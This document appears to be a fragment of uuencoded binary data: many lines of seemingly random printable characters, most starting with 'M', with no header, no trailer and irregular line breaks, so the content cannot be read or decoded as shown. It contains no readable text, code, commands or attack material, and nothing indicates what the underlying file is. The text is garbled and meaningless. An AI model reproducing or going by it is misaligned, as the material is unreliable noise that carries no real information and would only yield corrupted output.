MJ:J1$\V6=3\[*L>C7GA&D]P;/["M%X]U;+=262Z':H$5F0;NSMS,R\DA)SEDM9A2]2MSJ\
W>@]3X153$=GW=5V@15Q\ 
M:Y-NRG,++SZM87TN9]*%V>BVNJI9GU,S2R]ZQG3YZU:S]O%Y>GD%,-F:-2R3'W[I`(

M=40>,=BFFH9:F1VKY9%".MJ,8?(:D"WBWZ610'?P$*4W--8WVQ4\I44*DKO.I 
M-G<[Q\P*1>Z7%7I>_B_2&;&=*%>E"I%FMGA-F2-U8%6!290Q$KZ[)<6Z(W@9@

M5TR7:95-;:-GA@$KOA!:!3&=^C"Y3*4?883L':QHAJ[E>K9.87(+G`/WSJ.U^'H'823$4QG
WG>"T_E$N:V8:WM 
MB+,289_'7-O[<"^.X(UH*BFF=MV!WH0[CK-#+L!$`BWPX`0K56OVU,[^Y< 
M-!4C*8V'3W7=M*NH0>7-J1X+9"7)KZP%WFI2+9/#$+&&

M3LWG5E%=6@&D]?:[[LG!YA63?LS_[9Z<\[?#KL,EXE4K<[%M+L`G.,1+1"(<4 
M$8\P>!\7JS+_T*P:0\`4C1,3JE,1J?7].IX]E/#W;F.)O&VZ0@,N%%2\6*\KG/DZGEJ/G8A;#-
]F!7F?W\[SMO["31UWU(>DD]WZ@_#Q/Q,@4/<[7LM 
M>T_`R!0^+]S08(3%>>>1X_@#)`69^[0AXWQO&\:Y^!@0_P_&H_SW_89D?G*#._/[#X]
O:@$#W1;>VV>I\>'_X,[X()(MK<#)JVV2RGHVU 
M":_$=!GG;NB:KM-PD:YNHHFHW5R%]GO8>^FC,T[3NM,M+[R[0

M,RE,C6T.*/VP*+Q&ON[4=F"VLCL>=[&`JKH%\C6Q:Q7JSIK0A-K%NY!56$4,S 
M.U:+/$7_%H.B$4MQXBFSH;WR91,QFZGN:X)HF.8W5/>I;`Z"NW_F%/Y8$\KQR

M(%_;*S>MGQ.>LE6OS'R[;EC]O!4_[QC7R/0\E/F5#\VS#Z>#TN-A$0IFUXBKH 
MIG.:Y9-T&7YM<*$7%*B;GQ:-NKBMZJZ*S(#P3&;P@F5R=$+B4JI6G2:1:.R 
M@5IX`;.?9KOR[BV^*$OK9I5._*;OVF`=D$^1=6RQ:AY/@U<^NN\KDBO=UHCLM

M&6KT9B7E_\WZ>M-V?8RGS,_>QV.(]"RF,&^PEX:I:+*BNBZNE@A:@#F@UP;[Y

MHWD8*$7MA4`5:C_9XRJ,X]]ZM+*^4:9J=55$#R9XM!=_8I*%UR7N)%XEC36-D

M$V2.+N*^<8*^J=K>QJ!66.1_2;&>^F(US0QL\RJZ6P#:()>R@KXY#J+NBM+DCTIFV".+(
&7-+6['6=R69W&BZDI5T<^3?Y 
M*Y:F)38XBR[#AJ)E91)Y=3AU^RN[FNJJ"W^0"\S8A=/ZUNW(Y5+,-VN%`=IT[ 
M3/1[G+C^"1%>M]L2NH!G-Q9MEA1C-,760/&_ED^=-'AC7RN3M+K\,@H'1RY45 
MW/M,)C01M+YV.4=MV-K\HTX?(5(%F21#WLS"KQ]"[\:ZGZZ@DGG`!%SYU0;SB 
M)P,KJ*,RL6@Z2))I_%@_,8[QLT])2[(JM\878\^@](,9,I@$G`H$Z$S,UX<+4 
M&MV*?6CQR4Y3"DOB^GXX[,C\KO1TG.D,GQJW=-JP&3ZC0%^9*Q!@&VV@H\-92U
9]7"F4@\]A+\8M)T4:!M+&0@='LC 
MLVNXP1G?737G:T;2(N@X$RZ2_\Y#U-HRP:'V9IV_C?26MWN:^99LL,*KHH]ON 
M`(G7#\V"UYL+V54M;9@LF1Y>Q\+=8DW'T4X^3#2LH1N[-)?M+JK%!ULS1:=P3

MY5Q:5HDHQ?Q_8XBT(1VEL5C5<(*[I7'&@EC?R!5RU:XV!+[<9[B-,'

M&O2>^ZW8UMJ;-9`,+_2ZH^DA/WQG/1\94DV1O7B,=.ZFR?

MRE*/!Z+$3"1_NMK$J6>LX:A'W'!]8)2%)5I*KA6"N-CIJ\I`M:F<8TZ733WL; 
M26^LZNZ`KP=MA/`F)J_Y"\JKOKD:1=`FI;%6JQ9JRL$`B0&:D8#E8[R@G43(I 
M.I!SBH#K.^`NJ2$*^SBL5"W7YT]V3>Z^LF1YQL?IX'-E_-^%M%NAHP/STM5=#

MVDDG`$U--K+6<0*PS/IQMZL\K]PL;\JC:49\3OJ)

MFD)@35X$$K[!%GR-RMT5^'=X.%0SGB4.E64,W0LKHOS%+48C(*3;/+BK:OLVD 
MSI4P?&T`79U(Q%59>:L-LYE5#+`-F:+91`S8T:U>BH4ME`_\B0%T==3C?,IXH 
MSSS+QQZC[LV:DHCW:M2Z;VU%3-SYFAP+6S=G3I"FYNUK=]7*D&HJ4Z\*\^_M5

MV8O&IO1RW1CYOMZBSR@KKZ.[)-"3P8ALSHQHLOXYPPF&/2HMN]A`D_GE#[=9) 
M`0T7(4J>C]"*S,5T'D]3@54.U=72R+=6

M]8(ACK=A&3NFA+-4=A&;'P94V2P6A=3K3,MRBAF>[K\2IE/5`3&4E\!7DLJV2 
MT?>%^;,'+)"T#U9I3,PU7D+7B&#CCT['N_7AR-`*V.0X>*<'NE@YG9)338@!' 
M@.KWEIN%1-QM=US;_XT-WK`BU,G&X2*160]2/0Z!6>V+A6N"<..JN\J4=548/

M*TG;G_!<+D8(!5$L$Y6[\JSSH9W-4M>99L4D%:N]TZC9M=#Q4PS`/Q\2Q2U9T

MG+?6-I!_D1Y3&TF@IJVC>TH>T=.-GUX3?,IB"Y*8"LPVMTE;QF$Q4K],VS8E]N#M;N
B]TW9.25MG.EBM7H,.*Z2?CW:A(7:?*"Y?&81MB/$G.$OM,QDOL'44*DN+N:ZR1C2YO
SHVD1]Y\F/EZ`.T'R@([*Y.X. 
M@LVVF5>UP&;^.W8JB>19JVG\_GH6-($"`<]KZ:"$K8Y2L^\(A]<4#T!HT<=\-5LU63-$`,9
YQJS]0LD\:=G[X;=;<1W$%9?-1E=#/K:M\>&U=Q;5)_*^Z: 
MSD9FC>#GLF+;L3=!4Q$C04X=OQ3!R>[;CUT"#,I7H

M+-X%D)*!1J@W9Q^CM2(Z48S>$J?BM_5V7$XLV7L$!+]4^]V-G+(;[M`XB*+?0

MA/?+HNR+LG!KEN-.%E%T]6U531=6)"\TKMHH\>EF!G2Z1VI4(<:](&`"7R60%;K_4RY
T]7DXVZS)KA=,"/WXU77T[L:GH6NDV3'`.?NQ-16[AP_H##BM`,Y:5T$IO/NV3$N`;TML
7LU 
M;'52Y2F?Y59&4ZI^\NILI#V3Z;^M[IJT#F?0L+.UI#RDJG/388

M8BL66(O'IUTFIF3=^,0A]W3&P[KIRZ*%)>I((+0'K5>9T)E`Q%_QBQ-I\J(`! 
M^OFV.,3E&[JV`(Z3)W'3#9GL#&H-@U@7(/!D#I.28N^F"F%10@S()=%>=`")P 
MO$&TS`DKI"8?^+@)2_9=6,6=7>B+C'JM6,]^?&W+5@;-B\XB+;LM^/RWD;:TD(<5%!Q"
*_P2SSEW@7>>F5LUH)QYYAOW4\$U@5%!\CSE,G^T4 
MF[DJKZ,F]I.DD9-G7;?,Z_W$M'N\:XYO\<\S8D#*Y$D61_I?1K9D$S28/?'5[ 
MVU&J_$P&E+^:\Q4+N`UPBHDS5)%GLN-3.Q>O\JMR<>"@_K;94[/5JF[NP1BNH

MXL*1[*;%:M2F05J5U.J:KAMI4E!Q9ISWQX!9.8"=6E?$=K'_HA=T[5Y7(\2=H 
MTJ.2*OA+4Z1.

M[O$/"[D9\3+0D0F\*MP`.(RE9?#A"I_FHLH2"NZ

M@-7"[.A%PF`W;:U-I0M`BDHIZI8$%!F-A/^U+91,7=@OE#5;-5'9#J3AUB`G. 
M*GKS7,+K1V='VW"[`I`+3@#R67=@@USB'/-*G(;'$?6!:X](THLK4?\J'?6FJ 
MD;E1705SX7:"9%5_I/?TK/:X0?C0_,A".850QXB)"K[;#7RS'HFI#E!SS+N], 
M/+"/`X\Q2-G;8M96OC5CIS(G!8@1[WUTP",G`LV\;_7[;(_R^=/

M!1Y&E"__?.!_R]1X$(+L_I=OK,;4]IJJ7(^-SH^?]O*M\GR?^_C^$=+5A\ZA" 
MF"VS&.\^6/G7>%Y'QX?`YWQG?*GX_[_33/([\8`<+*FD&FYRY%@;!:<,MX-KM

M???]/4_5J_\OAU1^"E9/G*NAJ55,:;$O#FYIU$=LA[A,*QES:^&F%A%=K!2%9 
MQ"121$GSDJD^[=%8CTNTG&[KN(\Z"3M0/9J(?KIE@9&6\-7K-&!/I+@$*Q/_* 
MOHF18`M_M_I1&=Q_5(@[6.'+J[FJ#C$RJ58?8G8L#Y7;D;`%]3X]?3,.;CWVQ 
M=*%62.D??6YID(<9M];BMF25_A$!"U%;!1IU'RK%A766Z]SY*,0)"F<1F9%6_R>3:HC:6
6MAUTB"EH3O6@OT?U@%T(M>.^A.^=!1U3E!7LM-&%7HJ2C5/"W*W;P6"L 
MVL7(G<\=6B\;_(J&H-"_4"/''0E_II+(8I-O4RXXVRR(PXHJK([B\,;"HU'X% 
M(HD:V_,<.%YFH8%K_[1Y>/CDN[$B?A@GGSZ]C9&%UC"^8E*$?,A<+28@Q.G;T

ME0][+`BZN96Y&B]?E]PL-[,1C9#/HX9-$-@D@1N(VEXZ[3CI#H[XIC;ZWH(XF 
MG&BSE=\3$.DS1`=KE&M"GB/NHN%TDO*#A$]Q>1I:I;4[D?GQM9LGR0/(GO[W1

M,0+6_(G1J6M&95W3'9G-U&

MW[>+B-0_S8;VJ![5E'0S6)7HS$D$$E"]7=$6PY@?SFY$P^>]\^=][>^>_`YZ`[M9))(VVN`7
NJ3?R&93-A/SOW859)J6A&20 
M!Z/OR;SZX)!9+"'LXTK7ES(^=&\)2RX)_.<9X-.8V^MH-%<3/GX3TI:B5(BL# 
MOZ6#58+^;?$PXA?>&`%FXOF0!>;C$YFE)A]*NEN,9X3>2!,L[%S\)O(TI"9B# 
M!(654-L8P]&$.Y#@&T]&;3X76$).%!['\/DV8MO)L1'4!]ZETS=,K#[P$ET", 
M5\A>XU[?#>H;>3S;5*27^NB*J3;OPOYY%Q<+A;2YP;MR^<(@1=_:$C_"0@QEW

MQ>[]Y@'`T<(/\=6-T%5-Y*A-A=A(8`S?%'$R"A6C'<:=?+0W!_MT#?MR2/CJ@ 
M+<&9,+"([\\1:\^7G[#<2A7N>Y^-`/Y_RIY"0,D=O;\KM5W>JH0:1PU6) 
M$:6:DF[MY\:5]8SD?82OMPIH77^B-H_$^,BC>",J&3(CQ"?GDJ,(3QFA!+)M- 
MD=7:EZ]^.8/[>!L&T,BS"A4,9%1,#RYOU5L3)&^7L%LUUR_^?&<<$+4<]MYF%

M/0H8TV2Y&R8BP72YT\*W27[P`ZM](+EDQ$>]N6ZXUR%P0WW,C&7`$/4D4*29=

M_?PI"I>IW2;J5`_S,CJ?\&^X3T0;T$L!S_$C#U`W[S]!QCY(>-^3[T+

M9MZ+D2=*%)I[<]V,]+A/VY=/5[V4W4KM9FU\PSLB6XMWG;GR65NIC?74;J2@9

M4%!GGCZ/-L^WB2.#F-Y,6?*V`%<*)F:3PH3^/L)>?J##.90(S/&48*'O%1OW$ 
M&3HNSI6>>&C7[+LZX3<-#'=`)Y'0,]E9%BT);WIB$A:C-A9*R1+55-31NQVVL 
MGHXOBWUF=OL.RE]&J3>1W[Q?##'J]F3,,Q9FXE[B3I7H<&[ULQN[]%$:&3PC&

M=+'[\JI5Y&5-I(J%\^=[_:E12-+(!:\WWY^Z%P?!&Y?P5&;0F`VF--H(IY\L7 
M9,FM-C+H&J0DVJF%*>H!^GDK5+J;`M7M#HMYHIZ`ZB4[).U/U(0[-L0Z)^.R9 
M>@"$[C1>94E5NWMBY4W0U;QB('IN2GM\1^[$6Z6[).-9`)!J'$QTSM..19?:: 
M^*93[[>$YMI(\B+(:'4P1T^YU\[,V\%

MI/ZI-7H'-DHHPC)I9XRC0$9FFJ?DW.%3[F\>8X8),/L*-C[XT8:+%CFY'"&\` 
M=8E(3BZ0C(Z@M*FWJ.F*B94F_'[4"I[.1=424&];7")RE02RQR:$:9`"^25`. 
MR5*-[I,(%H(SA9@5>0BJ].VFXU,FST)VC\1%P3:`_GJ1`O66G4TCU/>"CN9TU 
M5Q($'YCH%S%3(4P/&:[H,8

M`O(FQD!KJX[TSUV#.IYH"7J?/0P+T@I'NPBQ?=HT(GJ[B[<@)D"\\*1'.[(TN>IL"G@K:9'9
S+VV"&(/(UO[H%76C=8\TP3NVCPG"!?%);:]F!MWDWVWOT=Z 
M.=0ZLR.V0"G(T8'/PKGY`A/B@$_(O/DX849]@%!C^))495;K!IKDQ;V]O+HR[ 
M.!:G?F$1U]AZ(QJVJ6]&D&GPBG+"&$P^O&4SN9ZH..=DB%$0#+Z3:D#1A8O6*

M9,&7+DM/+$?BW3QG%!N'"/!WENY_R[CP^)(\@CC#(TOX/C&PNI"X6FCHN@_2D

M$`)NC#+>'H;[LSTQ"G\[GTR4`L*IOMI;;8%TR$$TIO&2^;)J7_GR-OK0FY,F@ 
M[#2;@-:9,G/@RRA5)2X^36%VE0PB4EMM,ZIU)M&)G(NHCD]*"T;>S\E3U)CMV

M9`1)$.7,$C7M1%A*TWA/6U!(%KL;8\*9L%QVHP7K)<@L/Q@#/1G(`NK?9>H!>

M=397F"IW(TIA;YJSA*D#>T.C/=X(J_]D(1'Z^;/G;(6E5+5)"

MM)+O6SO_-&<.`&I>8HPP`.H^S._1C!>!4M#)$E^_!S0Z6Y2>UTWI;4ON6F]+-O"^O6VVI
MM7?<,>FJ"6EG35`8H;[L-YVDON<\NV4!2;K])CG+\GY])[ 
MV9FU206"^+X0V)H96[+4$H"]68W6&$ZR'#)30T$"?1&K$J#<>,3R71GCFA_IO 
MA,)\Q=(9JO+1.89F9HE(`7=&DL09`]9K3^;&;3IV8-*7Y3MW1U1M:+(#S5:L4 
M.#3SR3!NT*"?4$AY>M=J?R1FU^T)'-S1*C8IPR$$,YO0K4_80P[$LL2XH1P71 
MLY.I[G82I8=1':0M0:!;=1CV(2L&G"UHC!?,4LA[.$==7?VAL)BV/"2\X,$_+ 
M!A!BW1'K5404),SR)$:K51Q5(N;OL?;19`+)LW))J&]NBW^C"9DQE];^:)`HH 
M>"HWC-#=[P/0Q?`-A)JC6D5%$'4(XJB-\HRI_C^59(&:QDJ(O^!=DD=C+.,+X 
M.V9P3=,SMZBC%1_ZT:G&4PZ<1+3^^(-B9&>E&4Y'OTF5L]0VDY\DT2]ID%PG@

M^F,(1]

M%T,>[)@S,"!1EV$X/SY\%L6;(W\&A,P:2,]>+)>.?MR!XQ#/]^VPX%U

MT`8+C)GYGZDNH8T^<&7>^1]CS9*1#_.C[G#FB)9-@M)4#]+R#1;?O

M@H18DEP;`NJ32I38S>$L9WYF64$VLV1I[3.5`U,\1T"_C&U*B'>N35P>3&$J4 
M;O8==1X3'\"?)M#E50K'.,T&.<]0?VV?IY`8%F-OFSFTRM"-O9)^2;(US6=T; 
MT>M4T0EQ]FL?*.C%TOEH-!)#ZO8).Q3X][@F"4C?^2/5F#'AF&=(8YF"5W(;- 
M\`$)YIRRI19,\;XHRR3A+8!?=P[174VF%G8ET473L7@@$1ZLTWM1D:C5Z:$:* 
M\0VU.B]1M9J.B^;-GM-21]S-))5&F0A$P055>\!Q_`#N8BGBCN;^?

M3\O_W]>=8X;ZS@MYI]KJ_.FK7!%YJE7$%^W8[<:%Y_-`%SSU'YA0=IOMYUH;4

M.\(F4>^EEH&&TE9C[]H&F^:=:&U_"M9+F_J@8%M^-N\\V=S.6R.O^:-RFO^:J 
M&V59OOIMX9^X0<-77=:&>^%OM;\T-@N%S:^!C170R^-_TDN+L*)Y?&ERTPUA1A#(
@HIO8V,YK@C:OQ`VR7Y"S 
MQ-2GD2$="J"ZF8[Z>J.W-C9]OBDPLXOR?WDY(OW[(:N;:E1L@.&M"O=YKD2)[

M@18YWP9T\);J_@MKM`K0,B+'QY;]S9%>-^>_4&^3:#']GX;Z=I%FF2J2)_^6Y 
M6I(WC_DH3&D?[?I`FH>[V3IHVGC?9(C^Z0,$MPEO_S^.;AG;:K'B4*WVC%4-V

M6+_O.4,>K2=WC<)*,`G(N:D0272$MH0E,;]P(<_)#V+!JQJX-=%5[=VQ8\6#5. 
M@L;IMUB3^W6710+;OBO>N21'C"OOCEI?Z7;B1[E_K&[44FM.1U8_^8I*W4EB$

MJMPVQBF,;N%4D8G*2;EJQK?X3U67VF,6L:X7#1;F]GJT3?F7:QO`#`^M&)=I+ 
M!E(Q>-N5)E;>NNRNFM%M1@"?R+6L'?[=^5137H3,%L8WZ>SU&4]=I5'?2U9%6

M<_=/]C)--_C>ES:K'>]=L./DJECV%]5U$?LQ6Q\-B^>_UJ^'@J!.3JI[SL+#Z*(G8WK3M5I_
+]38[[\GJVL-X-,JR 
MYB?H\S]>R?'KF_?^*&B:8V>N[G//!Q>RR3Z%Z_[4"RYO!^)XR%C%3[AKDTX$.

MTB;#27S70DV0)U$;Q?"-0W3,&.\-!BZD$A4F/&DG^HDLD$6QO_T(%898&[4*< 
MG#3)4$:`5=A7K[276L$\KJ?+5>N&@\XM&KTH3FJ*Q%8O[&KNRH\1O;@5B\KNP`T03

ME&C2R4U23@W^%LZ&9@[&ZKW"PK,N&T&_E]B>S%"UHIJA*F9D?-?DYJAF%Y4K
B 
M>>HHN87ML;9G$BT=#7+UPLZ-1L*/5?`%Q+N*\3$X^AF6$U03*]-*N<)Y"SH*G

M^@L6-=!K7"X_,4KW(?)IPLS030E]G0B_MTV*U:GO,T!6[6C"D6)H+&Z3@USFG

MS23R`N2,&Q!KQ:=)J/6S2Z(E=<,V^B4I8UL&MR!WQ6VE_$E$6D($JINA0-WT3DJY$M
ND\F+!L$6;3C!KLC9EF[WU>--=?CAK1+6VQ_4I#M6/.@W_(E68R+@UQ<5L*M<]&9XU
"GJM3&L\93C1.IK1&3 
M(HNB+VII'.V#;&]%R+DP]D-#:YQT7(T$EFC"EI?/6?='L#&L<4"7-&/5<>JT3 
MH]:6@4\+YD0MA$C5*X'5/BRA5AXBP$(_P]E0E+8"#?T3UZO^31H<

MQK[NSH2R5+2.V[Y7(>\H'(%V!US@Z9$W:7=A$B5T,U"#&G&GI;&[.SHBSU3/H

M3Z5[3SK+=*>BLJS+538GC2F6!>06]NB1@&6;J2Y@,2QP7HSM6I-&XD<)8E\T9

M#1>M8M!1Z:\;L3K>S2+2B-2(O#7%@>-0JUCSX19#V0EI?(G;GHN!A^6KL9)MM

M2KTJ_2:78CZ%2FX04+$#36-/9:=>="/XA9I2@VA71&')XXC/-8P*KZV$6B+&I 
MZT9BLNB9CW;#>".K]N7=F-4KD@+49GEGJ7RDL8#F+

M+'9JVQI=F8[%4B[$TP`:EW*E[I@!'YKA'+V[DJ9<=:1=M9420`F*)+G1O:+.4 
MB5:+&E%%7PRXB`3U'J+,KBU:N"[8:LOD<^8C2N?C^C%5F,;0=I`U;!

M'F%XXTO&M=0=5LD%;1>T@JG[?S'W\?^J8H)6AFD]%/;!/R=OL$];/I;27GM;.ZO` 
M>RMI!V["P7M4FD5SW%@-NK2*K2^^^=^Y?8TMQ5>I[E]M818QKQIM?QK?:#.D9 
M:PW);LVC@;9U8=WYE+6]@W34^Q/1H)L(E="6,4.#6'LG`YCW<&Y,&;AQ[_^9&

M/>09K80NLE$]%M1&@(7%F6T'>><=

M(K-:N$+6&ZMNW3@5T(-];D4..'=HWY;=9$KEZR)6PZZ"&U^'*%%IX)8W:*71G

M.5CBKY<2B-.9PBEKW)8>M%ZZ"LG%@6(N,5C1NQ.A5D(ZD<.N8.HT5&M<*^8A5

M:&:A3NB(=_@K*[L:&RNK"[',^*#FJ%H,+1(:!UDB[@Z%2#8U2(4K]]\T'`OR. 
MXJN/U:G#S2+`N%Q3-2LTRK%S8NYS$K%Y8GVD(N_CYC%OECE51BB-]KGEQ5708 
M-'`PA7EE#RXKGT!5:--;EL.R4I65]1&L?B%Z5,ZQI76%JC1-7-I"J9BPS0L95 
M7(UWXXPN,S*6$^YC26@4C,V2*/\()AS2(:J[-<`'W>D!+[)"Q0::5$!;!$/PE 
M)"_[66I))GGZ,W-GH5/,FH!_]GP$0G,`_-YQ"D/SL?3DBD^>#!PPS@5JPG;U+ 
MCDY)!J35P[Y45^(A#I268=5PA<73NB1:.*E@913=&-B/.O@

MU8$U:U)+A\S\[WPHSAE`EOKBI_JM6%I+X`>;1>VB.B0<&X:L;&[@""U0!TP.`8`/98UN
0LKH@3NNBN8.#<#9J5IC3_V#;(6#@:5 
M+6Y3%21@/A'=J.AT@_5,AI=PL+I1'5JL,$OL@$DV)!]L'T2F\&(L="JPY:N*9 
M4ET>MR!(2O/S8=:WLG":\AI,K/E4(TTD+4AH-Q2VN+Y,11%/PK2[(&WL"[!2/ 
ME\2_L+$^"-_B4X<;MVZX4#T;L;2TK"*MNJU8M(1_NBX/P#LB-`,7=BA<:T`-3 
M*`/,##H[]6+08&CE/<'OY<([)2F*9`%,)T8F``I*>RD;35CE<4[+U$[@&-?D= 
M+)N0*S=RFZUT]Y+A*N55J\BSWF*,$ZTDU#M.^M4NB_T,MMM.X8#@#;JU&_MR9

MK_GE7XW(C%5R6+9<4K;'"XMT`NW&-'(&Z7`K42=_B8!A6-Z\;TZR)60MC=KBI

MVRD#X@*U&4(X.VL*L@;($!VO7P$#9%*1\K(0@Y&R`4>M'%Z!9/(+3"M5SAJ<\

MC%!J3-84M;V(WGEO'*]Y8RB6F*QGJ94E(Y<1XUS(&,3`TR#=2Z#R&0W*X^@M:4&`
%UR 
M8?^0TS:$#\JPJH('BQQ\PI@D\&?3Z.?5&+9@8L*[`]501&KAQ0(#K?XS,J;+& 
MJ3KS!,ZHJC^QYV1?NK@/6;)6"_6,&EXRQ>\3$&+J6-=#ZR(F

M;8_H>@FEK&-5I2(+I%W%!WY-OELAP1@/8^@UA%'(9DU2V+=+HN1MC*E;VA9&!

MC=,"))@?9-JS%E5*%)M2+9A8>AT(A^BN;U>]23ZEIE\!ZQ6C;9769'W^I:0V< 
M`]9-)^BOV=7O3E^W)9>0X2L=$J7V-M[&@D[RZQ)/T&V+=6Q46I<8GQE/'LS8.&:18X,8
DHLR[E:#2.21+WQE/4X 
ME>0KW0?JF].%:GZF`ZO>L4RL6Q^'J#+WM#.,LZ6/2AT)B.GL)_7?&&>VSDKM:

M=($-?'YK"ELQ+KWVKIFT(M#,6\O;S-OJQ\H:`OXA,,I'8J2)E[!2_\X!0K`+O[P*&][Z\QNN$
C6%QJCY'+[>SM)W\MH3W? 
MAT=HDJGRE>U*L.AQQ^CJ=K7?K_S08L"7F9")$[:(\2F)%.<4*93%*IU)VCW.( 
MV:292UW%XPA&W_W_J`0?.UM0A8Z0KM(/48UDHT,#!!L)DT..AX1,"G-@MI%-DCDJ
2!IH8/B$`GD:,*S*0-JU([K 
M0DQZLC`Z9R9HT*[WH4.(WX)'2.80??^/(!<:34@-1'G3;"GP1IMJ6"$=K-KP^ 
MZAAS""L@SCDL%I\%9'C4,W)"7`YNH";+[.,J,V7+Z%M+CD,,_&JV1[#`]@87` 
M-7V#,R[5AO)%TJ\^<4:"?IAO)TB&L5DT/4T39)EVX6@-1I$)L;GI@,^D9!PV1 
MU-@HP'M&ULF+^FP]G@FP6F>+?J7)GH@O+X1@$;A_$HW2M(\DPD$DHE)!4;5@4

MU-M#[I/%8M#!O2;@:!KG&VZC$Z>(9JI#`<8RU>!M=A:LA\7'COAFIO4JM3#9Y 
MJL$1)69R8,G)(.JIJ5J5Q7I/&'IY2YP0S^?EYQ+=:[:>2G+3QM1MF]=O-=02, 
MJ.C$UD)&`)-/7591:4.;;1=ZU=<W^3G=WN&>.8AJJ.GV#"LZ]KZU9!7"^LIK]Z?3@HB;K
O:^Q^OY.725MMR]W^W?;Z"[QX\MX.#QM525L+5"#7B#>/]J+64&O]%E6T 
MX:_4V*V=-!_)Y%WD^-,,B,'_U="$V6XJO6Z>+V+S6>_IM\_8S([BOT#'H:B%J 
MX[80/YGF"\S<53*MR[2;VU8R$+R&VQF*SH:B"X[;([CEZ!C693T_F@1(?S=/K 
M%Q&V:9?\OF^EL-][<*1T%E9[43X(0.YE4]%.:\-7Q&3:AC':F>TN:;0ZDIO)#6J4G7BQM>
X(Y:"G06(819=5\2`WL%A6P(*W1;%'RDZO_VX5,L&T7/<& 
M)NKXG\I':4K,D9:P*`KE8]RI'NJK:F/"@QJ]NP:EM7'<^[!RI?%NN[GW#K48" 
M8PBZ%1?$0+GN3]<[KEP0?>4.8L2JUPC7ZN4BT>JTB;KVX%3U^ZE!@H.HG;NDW+5R
>J<%V_WVZR'!2-`K&-:J/DAI\:M4[SY(=3L'+K[8]&*S 
M:&?0VK&W=;WMV

MPG#WD&[XIU)[8%P0NM1JXC$##M$%-^$_GL%=\:*NPY1*1'PX).-YQBMI

ME]]QKJY#_]]<\._WO'>X(DTJY@HJ4KIK"U'J^[E3Q<*<+[G[-/]@5U8A2ZJF6 
MC\\U48-HS\K0RFUF-N9F-

MC)@3]&$N9`.;@'9FQ,O8F+`VKQ_/];KO5V7]_WF_F76^1YW_$YM<(X\U3QT=:

MK-#]I;76VNN'S*J0NR<83H8_^U:E]RHEOE#_U5K,6NLM=6/&7%`B)_Q6N#^CH

M"]?`\7!?6_=?$?2_?2_?7_^K7^W[_U6NFXLE:Z.GC[7R^+X=2\3KWZ#WLWOT= 
M7C;9VGS7'[S_%:ZWV9.B_!VGBBS_!SF_>Y[-N

M:ZAU&TU^]U%%+G(3E?0QX6./33[U.2U!*[36[K87&MGWK;ZG=2VW>IN9G]56:'-=H9
$J0PC@4,BS-CU9-5U4;-.`\%#3*8\G(0FH 
MUE?PCW"]WM^[3>;L,'UJ24B,G(RDT]W%=;`NF%DH:![GJ,R\>ST)-NG5#>2$) 
M$_]\.0A2%*OP:;XW6?3@U7*!BWN9)--9TTVO9WSDHP7APPN\Q8-##/9#DH:QF

M^A)K1=^C_#<9BET/!-)7T(ZOPRP/5@8_]$W)8^NHT0?V6

M';5F7]1D!.CIU43A?;$CB^>)+]>&:]+DR%-`F+MI>XTD[,[>4WFI]1ZWDO<2O3 
MGZK:_\:(=JHH\_`)5P091^.3'I39]^AD@)C8>8X_B?4ENHPD_3#'P21Y-#87T 
M8Q/2@;_)@J9>>%_W0-IS5&'"$FD>MYDJ6BD#YYI&R@D^\>1+(VX=-`5]V&0I5

M-:A!GOG,CVZ%(3)HW(3;=F>1*&@$DVZ\S1>;,/PGF/W>:,!5&1:C%T5_GZ70W 
MH-!O(4;F:S#8%S8EW)&S]$5;\>G&N.0^-*[!/7I(SDO53'@2?7&D2

M\*>2#7*D3(\RULJL`--EI\GR?"HS(E(W!QI,[159B^&0(Q9I1.3(:56$5C!TE 
M;X3)M9-U7X,AZ?3!*R4MS+3VM<)4&@#'

M4:1:N@"`3D464*:N17_0E,]RC"=``G>7?+.LVQ)R)U:AI0\;2%3LD6Y7DNT\6 
MC##N3);H)JI*MC4$LQIL#Q0P>_Y/*VLS/2T]IK5+:ZG=)3@6OM.7GD>2T]KMO`)['U.\I/,
3*@=63.3V?A&X@',<' 
MA1B:Z.(%"7ZDWET8VQ9KU21+9"E\T:C8*4R<0:64*&=(Z0U55!.S-IT:%:9S$ 
MP91KH36DD+'Z*OYNT^DG,SPS/:==.>W&2^&=;QLAE,=G\_K]SD,#@*R!Z.MU&

M%?[5;[3>.[_E)/'A^UM-CS/\M%TJ[,W[S=ID]QW^:S2?U1'T1'.Y:4YK63FSQ 
MPT<^/?O>S]WP,1.;%DYZN&CH*S@&5SX^/R^CYSA]I\MB;GN]7FM33LH6;^++(

M=K94]7;=*A^OM>S[_2IJNV_7\NM@[OM;+M=+M:3/Z7X-SXVVMJNFR7,N2B.5I\K=1S
X_>_HL/9-^1@*^=_A> 
M7O>[,6CCN]W4!"\U^'XKYD1Y6979O4_AV$9^3Q5WCZJ)Q$GB8GO,CW>+7>/->+K(S4
>',Q.I\?6>"R9 
MS>II?HP^#Z?2T#WR*!]Z7:Z3&J?*!]TDA\&)9#]J\"]=.H]UKY5^S,=#=3@KGS5??@8V>)
Z,ZO<]#$- 
M9/IQV/U>98,_\VL!Z=U$=U@87$QS+C6'Z'O5LWQK`2%5TX[#^W\#&(_1X6.R3 
M4%C,9HU\1[FGQD]X&B81'N?C'V]RLAV10M%B,]XW^N;EGS5%,_5:;OM8&LIHM

MG$[ICT/:CHI^WE_D]9HWZ(Y6HROBQSR_>KL'C%/."P4=?G[>1;UO\+&O;]NX3

MO[C*4*CX.>\#/,*T4,YP>)]OI92(]R&\S\-

M,<]OV]\%]FI3OX^"SG^F?E9"4>^FPR\1RO%ZKZ]^\PAQK3Q.R@_IW5SE++\6Q

MJIUW=7+"<>,A$?HP5RPE=WVHFZ=4K9X3*L?J?,!A65.RD[G*2]/EY-Z^&YRDM

MYB;^U@)N)3[#Q=)*0Y#

M?<?-2D3O4MRP\2.6V6O%A\CX&(LL_./HL3!V[6`AO(Z\?_G?_.BI7\>%_VPOQ 
MY=FP9X5K`+;>4KOS0M"PIV6^J.GM,3E_5YU-V7VPXK!Y>OKL_AR[/S:;U\+-D

MX?+M8`9SLM`]?#1M8`08KG:"N:?+_?TF?>]ZD*ESKYROAQF]^+YBU\I"_N=PO

MNYQUSE--'P3'E8[`87+RG@"[(BRP9Q-G^++J88_`SA?A8?!N5TV\^!@5[SK6T;WUAFSW
A9'YU\]R&\;\<=WI9NYV`'SY>=?;+4SC[?QH5_/;4H0Z5C3LQ 
MOOC&.,Y7T06]]W!1V:W,+M\,RI>"^7.4Y6.X+YT]'YJ,.MU+

MC*=_7IH.%7Q![B%&4J)/,UI8)P?TJ8'B0X[_599Y.K>X*-T4?IL]I;O&VT"+5 
